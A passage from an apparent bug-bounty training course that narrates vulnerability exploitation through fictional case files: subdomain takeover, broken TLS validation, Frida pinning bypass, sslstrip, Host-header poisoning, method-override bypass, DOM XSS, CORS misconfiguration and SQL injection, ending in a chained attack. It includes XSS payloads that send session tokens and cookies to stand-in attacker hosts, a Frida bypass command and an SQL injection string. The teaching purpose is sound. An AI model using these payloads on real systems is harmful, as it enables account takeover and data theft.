stmt.setString(1, userInput);   // treated purely as DATA, never as SQL syntax

The filing clerk never interprets user text as an instruction again — it's boxed as a sealed data variable no matter what characters it contains.

Field Reports — Every Vulnerability, As a Story #

Nine declassified case files. Each one takes a single vulnerability class from this chapter and walks it through a full, realistic exploitation narrative — victim, attacker, setup, exploit, damage. Click a case file to expand it.

Target: medtech-solutions.com, a healthcare analytics startup. Hunter: Alex.

Two years ago MedTech pointed their NS records at AWS Route 53 to host a marketing page. The campaign ended, a developer deleted the Route 53 hosted zone to stop the billing — but IT never reset the nameservers back at the registrar.

Alex runs dig medtech-solutions.com NS, sees AWS is still authoritative, then queries AWS directly for the domain's A record. It comes back REFUSED — the golden signal that nobody currently claims this domain inside AWS. Alex creates a free AWS account, adds a hosted zone for the exact domain, and keeps regenerating until AWS assigns him the same nameservers already receiving live traffic. He now owns MedTech's entire DNS zone.

Damage: full control of MX records (intercepting corporate email and password resets for their internal AWS/Slack/GitHub logins) and the ability to mint fully legitimate SSL certificates for the stolen domain via Let's Encrypt's DNS-01 challenge.

Target: SwiftPay, a mobile P2P payment app. Hunter: Maya.

A rushed developer shipped an empty checkServerTrusted() function to production, meant only for local testing against a self-signed staging server. Maya sets up a rogue "CoffeeShop_Free_WiFi" hotspot, and every phone that connects routes its traffic through her Burp Suite proxy.

When a victim opens SwiftPay to send $50, the app tries to connect securely to the real API. Maya's proxy intercepts it and hands over a fake, self-signed certificate claiming to be api.swiftpay.com. Because the validation function does nothing, the app accepts it instantly — no warning, no red flag.

Damage: the app encrypts the victim's username, password, and card number using Maya's key. She decrypts it in plaintext on her dashboard, then quietly forwards the request to the real server so the transfer completes and the victim never notices.

Target: SecureVault, a high-security mobile bank. Hunter: Liam.

Unlike SwiftPay, SecureVault's developers did their homework: they hardcoded the exact SHA-256 fingerprint of their real server's public key using OkHttp's CertificatePinner. Liam's proxy certificate gets an instant, silent rejection — the app freezes the connection before any traffic appears.

Liam can't edit the signed app on disk, so he attacks it in RAM instead. He roots a test device, boots Frida, and force-spawns the app with a custom script attached: frida -U -f com.securevault.bank -l bypass-pinning.js --no-pause. Before the login screen even draws, Frida finds CertificatePinner.check() in memory and overwrites it with a dummy function that always reports success.

Damage: the app happily completes the handshake with Liam's fake certificate, believing it's talking to the real vault. His Burp Suite window fills with raw session keys, account balances, and internal endpoint URLs.

Target: ShopQuick, an e-commerce checkout. Attacker: Ethan, at an airport terminal.

Ethan compromises the local router via ARP spoofing so all traffic flows through his laptop first. A traveler, Sarah, types shopquick.com without the https:// prefix — a plaintext request goes out. Ethan's sslstrip tool fetches the real page over HTTPS on her behalf, then rewrites every https:// reference in the response to http:// before forwarding it to her.

The page renders perfectly — only the padlock icon is missing, and Sarah doesn't notice. She types her card number into what looks like a normal checkout form.

Damage: because the connection was silently downgraded, her card number travels in raw plaintext straight into Ethan's proxy before he quietly forwards it to the real store so the order still goes through. The fix that would have stopped this entirely: HSTS — if ShopQuick had sent the header on a prior visit, Sarah's browser would have rewritten the URL to HTTPS locally, before a single packet left her machine.

Target: SocialNet. Hunter: Lucas.

SocialNet's backend builds password-reset links dynamically from the client-supplied Host header instead of a hardcoded domain. Lucas triggers a reset for victim@socialnet.com, intercepts the outbound request in Burp, and changes Host: socialnet.com to Host: lucas-malicious-server.com.

The backend generates a perfectly valid, real token for the victim — but builds the email link using the poisoned Host value. SocialNet's own legitimate mail system ships the link straight to the victim's real inbox.

Damage: the victim clicks the "official" reset email; their browser connects to Lucas's server; Lucas reads the valid token straight out of his own access logs, plugs it into the real socialnet.com/reset endpoint, and sets a new password — total account takeover, no password cracking required.

Target: EnterpriseCore, an internal asset manager. Auditor: Chloe.

The perimeter firewall blocks raw DELETE/PUT requests to /api/v1/assets/* unless they come from an admin IP range. Chloe's direct DELETE attempt is blocked instantly with a 403.

She repackages it as a standard POST — a method low-privilege users are explicitly allowed to send — and adds X-HTTP-Method-Override: DELETE. The firewall reads only the outer POST and waves it through. The backend framework reads the override header and silently reroutes execution into the delete logic — logic that was never given its own authorization check, because the developers assumed the firewall had already filtered it.

Damage: asset 99 is permanently purged from the production database by an account that should never have had delete rights at all.

Target: QuickNote, a client-side note app. Researcher: Tyler.

QuickNote reads a greeting name straight out of location.hash and writes it into innerHTML — a classic source-to-sink pipeline with zero sanitization. Because the URL fragment never gets sent to the server, this payload is completely invisible to every network-level firewall and WAF.

Tyler crafts: https://quicknote.com/#<img src=x onerror="fetch('https://tyler-attacker.com/log?token='+localStorage.getItem('session_token'))"> and messages it to a victim, who trusts it because the domain is genuinely quicknote.com.

Damage: the victim's own browser parses the injected <img> tag, fails to load image source x, fires onerror, and silently exfiltrates their session token to Tyler's server — full account takeover, no server ever touched.

Target: HealthHub, an employee medical portal. Attacker: Marcus, running a pirate streaming site.

HealthHub's API dynamically reflects whatever Origin header a request sends back into Access-Control-Allow-Origin, and sets Access-Control-Allow-Credentials: true. An employee, Sarah, is logged into HealthHub in one tab and watching a movie on Marcus's site in another.

Marcus's page runs a hidden background fetch() to api.healthhub.com/user/medical-history with credentials: 'include'. Sarah's browser automatically attaches her real session cookie. The API sees the request's Origin, reflects it straight back as an authorized partner, and the browser lowers the Same-Origin Policy wall.

Damage: Sarah's full medical history, home address, and SSN flow directly into Marcus's script and out to his collection server — no popup, no console warning, using her own logged-in browser session as an unwitting proxy.

Target: LogisticsPro, a supply-chain tracker. Assessor: Zoey.

The shipment lookup endpoint concatenates raw user input directly into a SQL string. Zoey sends id=45 — clean 200 OK. She sends a lone single quote — the query's syntax breaks, the engine throws an unhandled exception, and the server crashes with a raw 500 Internal Server Error, confirming the parameter talks straight to a database.

She "heals" the syntax while injecting a permanently-true condition: 45' OR '1'='1. The query becomes syntactically valid again, evaluates true for every row, and the response flips back to a clean 200 OK.

Damage: the endpoint dumps every record in the entire orders table — thousands of lines of proprietary supply-chain and client data — to Zoey's screen in a single request. Try the live version of this exact exploit in the lab above.

The Grand Finale — One Hunter, Five Phases #

Everything in this chapter, chained together into a single assessment against one target: Finvantage Globals (finvantage.com), a fintech company launching a new asset-tracking platform. This is Ethan's full methodology, phase by phase — not random attacks, but a structured, sequential framework.

Full Assessment Chain
P1Recon
P2Transport
P3App Logic
P4Injection
P5Full Takeover
PHASE 1 Passive Reconnaissance & Infrastructure Mapping

Ethan runs dig finvantage.com NS and an automated subdomain scan, hitting a strange anomaly: dev-tracker.finvantage.com, delegated to a third-party host that now returns REFUSED. The dev team deleted the portal but forgot to clean up the DNS record. Ethan claims the matching hosted zone on the same provider and takes control of the subdomain — his first foothold, achieved before touching a single application endpoint.

PHASE 2 Intercepting the Transport Layer

Ethan installs the mobile beta of Finvantage Tracker and boots Burp Suite. The app freezes instantly — Certificate Pinning is active. He roots his test device, loads Frida, and patches CertificatePinner.check() in RAM to always report success. The app's defenses collapse; raw HTTP traffic starts streaming into his proxy.

PHASE 3 Deconstructing the Request Matrix

Fuzzing turns up /api/v1/admin403 Forbidden — the path exists, the gate is just locked. Ethan wraps a PUT inside an innocent POST using X-HTTP-Method-Override: PUT. The perimeter firewall only reads the outer POST and lets it through; the backend framework honors the override header and grants unauthenticated access to admin configuration.

PHASE 4 Exploiting Application Logic

Inside the portal, Ethan targets /api/v1/tracker/search?item_id=101. A single quote flips the response to 500 with a raw SQL stack trace in the body — confirmed injection. 101' OR '1'='1 heals the syntax while forcing every row true, and the endpoint dumps the entire client transaction table.

PHASE 5 Client-Side Takeover & Chain Assembly

The dashboard loads a display name straight from location.hash into innerHTML — and the session cookie is missing the HttpOnly flag. Ethan hosts a payload on his hijacked Phase-1 subdomain, delivers it to an administrator: #<img src=x onerror="fetch('https://ethan-hunter.com/loot?cookie='+document.cookie)">.

The admin's browser parses it, fires onerror, and because HttpOnly was never set, hands the full administrative session cookie straight to Ethan's server. He replaces his own session cookie with the stolen one, walks back through his Phase-3 method-override bypass and Phase-4 injection point with full admin rights, and achieves total control of the corporate network.

THE COMPLETE CHAIN

Infrastructure flaw (orphaned DNS) → transport bypass (Frida) → firewall bypass (method override) → injection (SQLi) → client-side theft (DOM XSS + missing HttpOnly) → full administrative takeover. Not one exotic zero-day — six ordinary, well-understood misconfigurations, chained. This is the entire craft of bug bounty hunting: patience, method, and a checklist followed all the way down.

Chapter 1 — Operational Drills #

Complete all five verification drills before advancing to Chapter 2. Each builds foundational muscle memory for proxy interception work.